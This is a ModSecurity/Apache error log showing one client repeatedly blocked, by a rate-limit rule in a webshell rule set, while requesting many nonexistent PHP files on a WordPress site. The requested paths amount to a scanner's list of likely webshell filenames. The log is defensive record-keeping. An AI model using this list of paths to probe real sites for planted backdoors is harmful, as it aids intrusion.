[Sat Feb 28 21:29:01.645650 2026] [:error] [pid 39183:tid 39211] [client 4.204.200.32:56588] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaLtnRCf4HvhVePw3LZPyAAAABM"]
[Sat Feb 28 21:29:02.093126 2026] [:error] [pid 49763:tid 49767] [client 4.204.200.32:56628] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaLtnrTHSOG_yf2PpqF2mgAAAcE"]
[Sat Feb 28 21:29:02.628707 2026] [:error] [pid 49763:tid 49777] [client 4.204.200.32:56003] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mamzi.php"] [unique_id "aaLtnrTHSOG_yf2PpqF2ngAAAcs"]
[Sat Feb 28 21:29:03.234205 2026] [:error] [pid 39184:tid 39235] [client 4.204.200.32:56618] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mamzi.php"] [unique_id "aaLtn1tZF9Zd_U7easDH3QAAAFA"]
[Sat Feb 28 21:29:03.678433 2026] [:error] [pid 52460:tid 52484] [client 4.204.200.32:56613] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mamzi.php"] [unique_id "aaLtn7LWOogAgHGh62SPqgAAAZU"]
[Sat Feb 28 21:29:04.456669 2026] [:error] [pid 52460:tid 52474] [client 4.204.200.32:56051] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mamzi.php"] [unique_id "aaLtoLLWOogAgHGh62SPsAAAAYs"]
[Sat Feb 28 21:29:05.019038 2026] [:error] [pid 39184:tid 39221] [client 4.204.200.32:56581] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaLtoVtZF9Zd_U7easDH4AAAAEI"]
[Sat Feb 28 21:29:05.813318 2026] [:error] [pid 39183:tid 39196] [client 4.204.200.32:65130] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaLtoRCf4HvhVePw3LZPzAAAAAQ"]
[Sat Feb 28 21:29:06.295649 2026] [:error] [pid 22194:tid 22201] [client 4.204.200.32:56050] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaLton6mbajs3bzQGyun6wAAAUU"]
[Sat Feb 28 21:29:06.858343 2026] [:error] [pid 49763:tid 49789] [client 4.204.200.32:65128] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaLtorTHSOG_yf2PpqF2twAAAdc"]
[Sat Feb 28 21:29:07.378869 2026] [:error] [pid 49763:tid 49787] [client 4.204.200.32:23798] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ae.php"] [unique_id "aaLto7THSOG_yf2PpqF2vAAAAdU"]
[Sat Feb 28 21:29:07.991733 2026] [:error] [pid 39184:tid 39224] [client 4.204.200.32:56032] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ae.php"] [unique_id "aaLto1tZF9Zd_U7easDH7wAAAEU"]
[Sat Feb 28 21:29:08.499867 2026] [:error] [pid 39183:tid 39198] [client 4.204.200.32:23758] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ae.php"] [unique_id "aaLtpBCf4HvhVePw3LZP0gAAAAY"]
[Sat Feb 28 21:29:08.990777 2026] [:error] [pid 39183:tid 39205] [client 4.204.200.32:65107] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ae.php"] [unique_id "aaLtpBCf4HvhVePw3LZP1wAAAA0"]
[Sat Feb 28 21:30:02.270641 2026] [:error] [pid 49763:tid 49783] [client 4.204.200.32:23772] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aaLt2rTHSOG_yf2PpqF5FwAAAdE"]
[Sat Feb 28 21:30:02.749842 2026] [:error] [pid 39183:tid 39194] [client 4.204.200.32:65126] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aaLt2hCf4HvhVePw3LZQ5QAAAAI"]
[Sat Feb 28 21:30:03.201276 2026] [:error] [pid 39292:tid 39298] [client 4.204.200.32:23763] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aaLt26IAO5fN7BxyqcGB7QAAAMQ"]
[Sat Feb 28 21:30:03.705002 2026] [:error] [pid 39292:tid 39318] [client 4.204.200.32:56603] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aaLt26IAO5fN7BxyqcGB8AAAANg"]
[Sat Feb 28 21:30:04.171110 2026] [:error] [pid 39183:tid 39204] [client 4.204.200.32:56048] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/brc.php"] [unique_id "aaLt3BCf4HvhVePw3LZQ6wAAAAw"]
[Sat Feb 28 21:30:04.600185 2026] [:error] [pid 39183:tid 39209] [client 4.204.200.32:65137] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/brc.php"] [unique_id "aaLt3BCf4HvhVePw3LZQ9AAAABE"]
[Sat Feb 28 21:30:05.030764 2026] [:error] [pid 39183:tid 39194] [client 4.204.200.32:56582] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/brc.php"] [unique_id "aaLt3RCf4HvhVePw3LZQ9wAAAAI"]
[Sat Feb 28 21:30:05.489873 2026] [:error] [pid 49763:tid 49771] [client 4.204.200.32:65127] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/brc.php"] [unique_id "aaLt3bTHSOG_yf2PpqF5IgAAAcU"]
[Sat Feb 28 21:30:05.912129 2026] [:error] [pid 39183:tid 39212] [client 4.204.200.32:65136] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaLt3RCf4HvhVePw3LZRBAAAABQ"]
[Sat Feb 28 21:30:06.384326 2026] [:error] [pid 11791:tid 11795] [client 4.204.200.32:56631] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaLt3muX5e1Q32gqxH3JfAAAAQI"]
[Sat Feb 28 21:30:06.806681 2026] [:error] [pid 39185:tid 39262] [client 4.204.200.32:56633] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaLt3hVE-FfM89u7BQak7AAAAJA"]
[Sat Feb 28 21:30:07.247429 2026] [:error] [pid 11791:tid 11808] [client 4.204.200.32:23781] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaLt32uX5e1Q32gqxH3JfgAAAQ8"]
[Sat Feb 28 21:30:07.690112 2026] [:error] [pid 39183:tid 39208] [client 4.204.200.32:65105] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaLt3xCf4HvhVePw3LZRFwAAABA"]
[Sat Feb 28 21:30:08.164616 2026] [:error] [pid 39183:tid 39202] [client 4.204.200.32:56589] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaLt4BCf4HvhVePw3LZRHQAAAAo"]
[Sat Feb 28 21:30:08.598886 2026] [:error] [pid 11791:tid 11793] [client 4.204.200.32:56626] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaLt4GuX5e1Q32gqxH3JggAAAQA"]
[Sat Feb 28 21:30:09.036592 2026] [:error] [pid 11791:tid 11805] [client 4.204.200.32:56622] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaLt4WuX5e1Q32gqxH3JhAAAAQw"]
[Sat Feb 28 21:30:09.455601 2026] [:error] [pid 11791:tid 11809] [client 4.204.200.32:56639] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fr/ms.php"] [unique_id "aaLt4WuX5e1Q32gqxH3JhwAAARA"]
[Sat Feb 28 21:30:09.917912 2026] [:error] [pid 39183:tid 39196] [client 4.204.200.32:23759] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fr/ms.php"] [unique_id "aaLt4RCf4HvhVePw3LZRLQAAAAQ"]
[Sat Feb 28 21:30:10.433784 2026] [:error] [pid 11791:tid 11814] [client 4.204.200.32:56039] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fr/ms.php"] [unique_id "aaLt4muX5e1Q32gqxH3JjwAAARU"]
[Sat Feb 28 21:30:10.906549 2026] [:error] [pid 39183:tid 39209] [client 4.204.200.32:56007] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fr/ms.php"] [unique_id "aaLt4hCf4HvhVePw3LZRNQAAABE"]
[Sat Feb 28 21:30:11.432543 2026] [:error] [pid 49763:tid 49787] [client 4.204.200.32:56591] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaLt47THSOG_yf2PpqF5SAAAAdU"]
[Sat Feb 28 21:30:11.926303 2026] [:error] [pid 39183:tid 39205] [client 4.204.200.32:56034] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaLt4xCf4HvhVePw3LZRPAAAAA0"]
[Sat Feb 28 21:30:12.353282 2026] [:error] [pid 49763:tid 49776] [client 4.204.200.32:23751] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaLt5LTHSOG_yf2PpqF5TwAAAco"]
[Sat Feb 28 21:30:12.945778 2026] [:error] [pid 49763:tid 49772] [client 4.204.200.32:65103] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaLt5LTHSOG_yf2PpqF5VgAAAcY"]
[Sat Feb 28 21:30:13.461449 2026] [:error] [pid 39185:tid 39255] [client 4.204.200.32:65139] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gool.php"] [unique_id "aaLt5RVE-FfM89u7BQak8gAAAIk"]
[Sat Feb 28 21:30:14.029628 2026] [:error] [pid 52460:tid 52485] [client 4.204.200.32:56052] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gool.php"] [unique_id "aaLt5rLWOogAgHGh62SQpwAAAZY"]
[Sat Feb 28 21:30:14.507282 2026] [:error] [pid 52460:tid 52481] [client 4.204.200.32:23711] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gool.php"] [unique_id "aaLt5rLWOogAgHGh62SQqwAAAZI"]
[Sat Feb 28 21:30:15.162250 2026] [:error] [pid 39183:tid 39192] [client 4.204.200.32:56015] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gool.php"] [unique_id "aaLt5xCf4HvhVePw3LZRSQAAAAA"]
[Sat Feb 28 21:30:15.619484 2026] [:error] [pid 49763:tid 49767] [client 4.204.200.32:56057] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aaLt57THSOG_yf2PpqF5cQAAAcE"]
[Sat Feb 28 21:30:16.173841 2026] [:error] [pid 39183:tid 39196] [client 4.204.200.32:56059] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aaLt6BCf4HvhVePw3LZRUQAAAAQ"]
[Sat Feb 28 21:30:16.645114 2026] [:error] [pid 49763:tid 49777] [client 4.204.200.32:23749] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aaLt6LTHSOG_yf2PpqF5dAAAAcs"]
[Sat Feb 28 21:30:17.099240 2026] [:error] [pid 39292:tid 39313] [client 4.204.200.32:65140] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aaLt6aIAO5fN7BxyqcGCBQAAANM"]
[Sat Feb 28 21:30:17.570618 2026] [:error] [pid 49763:tid 49781] [client 4.204.200.32:56026] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aaLt6bTHSOG_yf2PpqF5fwAAAc8"]
[Sat Feb 28 21:30:18.046145 2026] [:error] [pid 49763:tid 49777] [client 4.204.200.32:56055] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aaLt6rTHSOG_yf2PpqF5hwAAAcs"]
[Sat Feb 28 21:30:18.510098 2026] [:error] [pid 39183:tid 39192] [client 4.204.200.32:23802] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aaLt6hCf4HvhVePw3LZRXwAAAAA"]
[Sat Feb 28 21:30:18.972988 2026] [:error] [pid 49763:tid 49780] [client 4.204.200.32:65104] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aaLt6rTHSOG_yf2PpqF5jgAAAc4"]
[Sat Feb 28 21:30:19.466015 2026] [:error] [pid 49763:tid 49767] [client 4.204.200.32:23771] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rum.php"] [unique_id "aaLt67THSOG_yf2PpqF5lQAAAcE"]
[Sat Feb 28 21:30:19.891756 2026] [:error] [pid 49763:tid 49766] [client 4.204.200.32:56023] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rum.php"] [unique_id "aaLt67THSOG_yf2PpqF5mgAAAcA"]
[Sat Feb 28 21:30:20.346248 2026] [:error] [pid 11791:tid 11804] [client 4.204.200.32:56040] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rum.php"] [unique_id "aaLt7GuX5e1Q32gqxH3JmAAAAQs"]
[Sat Feb 28 21:30:20.808135 2026] [:error] [pid 49763:tid 49769] [client 4.204.200.32:56063] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rum.php"] [unique_id "aaLt7LTHSOG_yf2PpqF5pgAAAcM"]
[Sat Feb 28 21:30:21.235439 2026] [:error] [pid 49763:tid 49779] [client 4.204.200.32:56010] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaLt7bTHSOG_yf2PpqF5qwAAAc0"]
[Sat Feb 28 21:30:21.673686 2026] [:error] [pid 39183:tid 39211] [client 4.204.200.32:23746] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaLt7RCf4HvhVePw3LZRdgAAABM"]
